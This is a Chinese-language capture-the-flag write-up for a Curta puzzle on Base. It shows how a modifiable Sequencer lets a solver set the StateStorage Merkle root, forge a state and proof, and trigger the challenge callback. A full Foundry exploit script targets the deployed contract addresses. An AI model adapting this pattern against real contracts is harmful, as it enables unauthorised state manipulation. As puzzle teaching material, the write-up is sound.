# Curta RollApp Sequencer WriteUp (中文版) ## 介绍 题目:https://www.curta.wtf/puzzle/base:8 大意:需要通过RollApp合约,回调篡改状态。 ## 分析 1. 拿flag的关键是触发recvRollAppData函数,设置 _rollAppStatesReceived 状态 ![image](https://hackmd.io/_uploads/ByKIe-Vg0.png) 2. 但是触发recvRollAppData函数,需要通过RollApp来调用,所以,我们可以通过查看challengeApp的初始化参数,找到RollApp的地址。 3. 跟着链上痕迹,其实不难找到,rollUp, stateStorage和sequencer的地址: ```solidity address payable rollup = payable(0x32739b23BBe99900d01482Fbd3799DAf0B7Ac024); address payable stateStorage = payable(0x6a60D9296cBc84DC8FA4424dEdE75117712D6BE5); address payable ChallengeAppAddress = payable(0x433223B5d926557A067BaA24dfE21F27C6F9FE55); address payable sequencerAddress = payable(0xc592A5CcC2F7839408A0b394DbDD4A756A877A77); ``` 4. 如果要通过rollUp回调ChallengeApp,就需要通过execState方法,触发anyCall()。execState方法是external的,其实调用很简单,所以我们需要修改stateFinalized的状态,写入我们需要的攻击状态。 ![image](https://hackmd.io/_uploads/rk05xZNe0.png) 5. 唯一的难点在于如何完成merkleProoflib的verify,因为StateStore的Root是0x000..00,所以这里理论上不可能。 ![image](https://hackmd.io/_uploads/B1fheZNxR.png) 6. 但是,Sequencer合约是可以进行修改stateStorage的合约的Root的,所以这个时候,leaf, root和Proof我们都可以同时操控了。这个题目就可以解出来了。 ![image](https://hackmd.io/_uploads/H1l6gZVeA.png) ## 攻击 ### 1. 构造State state的构造有一点要注意的是:data需要先用formatData进行encode一次。因为在最后会调用anycall之前会进行一次formatData,然而formatData本质上是在执行一次xor。所以,我们两次formatData就可以了。在初始化的时候需要先进行一次formatData。 ```solidity ChallengeApp challengeApp = ChallengeApp(ChallengeAppAddress); uint256 seed = challengeApp.generate(userAddress); RollApp rollupApp = RollApp(rollup); ISequencer sequencer = rollupApp.sequencer(); // ChallengeApp uint256 solution = uint256(uint128(uint256(keccak256(abi.encode(seed))))); bytes32 solutionCode = keccak256(abi.encodePacked(seed, solution)); bytes memory data = abi.encodeWithSignature("recvRollAppData(bytes32)", solutionCode); IStateStorage.State memory _state = IStateStorage.State({ _submitter: userAddress, _dst: ChallengeAppAddress, _blockHeight: 0, _data: sequencer.formatData(data) }); ``` ### 2. 修改Merkle Root 有了State了之后,我们就可以知道leaf了;因为Root和Proof都可以随意出入,我们构建一颗merkle tree,然后得到Proof和Root即可。或者,只有两个 Leaf的话 root 就直接 keccak 两个 leaf 就算出来了,proof 就是另一个 leaf 的值。 ```solidity bytes32 leaf = keccak256(abi.encodePacked(sequencer.compressStateCommitments(_state))); // generate MerkelRoot and Proof bytes32[] memory merkleTreeData = new bytes32[](2); merkleTreeData[0] = leaf; merkleTreeData[1] = leaf; Merkle m = new Merkle(); bytes32 MerkleRoot = m.getRoot(merkleTreeData); bytes32[] memory proof = m.getProof(merkleTreeData, 0); // will get proof for 0x2 value console2.logBytes32(MerkleRoot); sequencer.setMerkleProofRoot(MerkleRoot); ``` ### 3. Attack 利用_state和proof,进行updateState,然后execState即可。 ```solidity bytes32 _stateHash = rollupApp.updateState(_state, proof); rollupApp.execState(_stateHash); bool result = challengeApp.verify(uint256(uint160(userAddress)), solution); assert(result == true); ``` ## 代码 ```solidity pragma solidity >=0.8.0; import {Test, console2} from "forge-std/Test.sol"; import "../src/interfaces/IStateStorage.sol"; import {RollApp} from "../src/RollApp.sol"; import "../src/interfaces/ISequencer.sol"; import "../src/ChallengeApp.sol"; import "../src/interfaces/IStateStorage.sol"; import {Merkle} from "@merkleTree/Merkle.sol"; import { MerkleProofLib } from "../src/MerkleProofLib.sol"; contract Testing is Test { address payable rollup = payable(0x32739b23BBe99900d01482Fbd3799DAf0B7Ac024); address payable stateStorage = payable(0x6a60D9296cBc84DC8FA4424dEdE75117712D6BE5); address payable ChallengeAppAddress = payable(0x433223B5d926557A067BaA24dfE21F27C6F9FE55); address userAddress = address(0); function test0() public { vm.createSelectFork("wss://base-rpc.publicnode.com"); userAddress = tx.origin; vm.startPrank(userAddress); // generate solution ChallengeApp challengeApp = ChallengeApp(ChallengeAppAddress); uint256 seed = challengeApp.generate(userAddress); RollApp rollupApp = RollApp(rollup); ISequencer sequencer = rollupApp.sequencer(); // ChallengeApp uint256 solution = uint256(uint128(uint256(keccak256(abi.encode(seed))))); bytes32 solutionCode = keccak256(abi.encodePacked(seed, solution)); bytes memory data = abi.encodeWithSignature("recvRollAppData(bytes32)", solutionCode); IStateStorage.State memory _state = IStateStorage.State({ _submitter: userAddress, _dst: ChallengeAppAddress, _blockHeight: 0, _data: sequencer.formatData(data) }); bytes32 leaf = keccak256(abi.encodePacked(sequencer.compressStateCommitments(_state))); // generate MerkelRoot and Proof bytes32[] memory merkleTreeData = new bytes32[](2); merkleTreeData[0] = leaf; merkleTreeData[1] = leaf; Merkle m = new Merkle(); bytes32 MerkleRoot = m.getRoot(merkleTreeData); bytes32[] memory proof = m.getProof(merkleTreeData, 0); // will get proof for 0x2 value console2.logBytes32(MerkleRoot); sequencer.setMerkleProofRoot(MerkleRoot); // attack bytes32 _stateHash = rollupApp.updateState(_state, proof); rollupApp.execState(_stateHash); bool result = challengeApp.verify(uint256(uint160(userAddress)), solution); assert(result == true); vm.stopPrank(); } } ```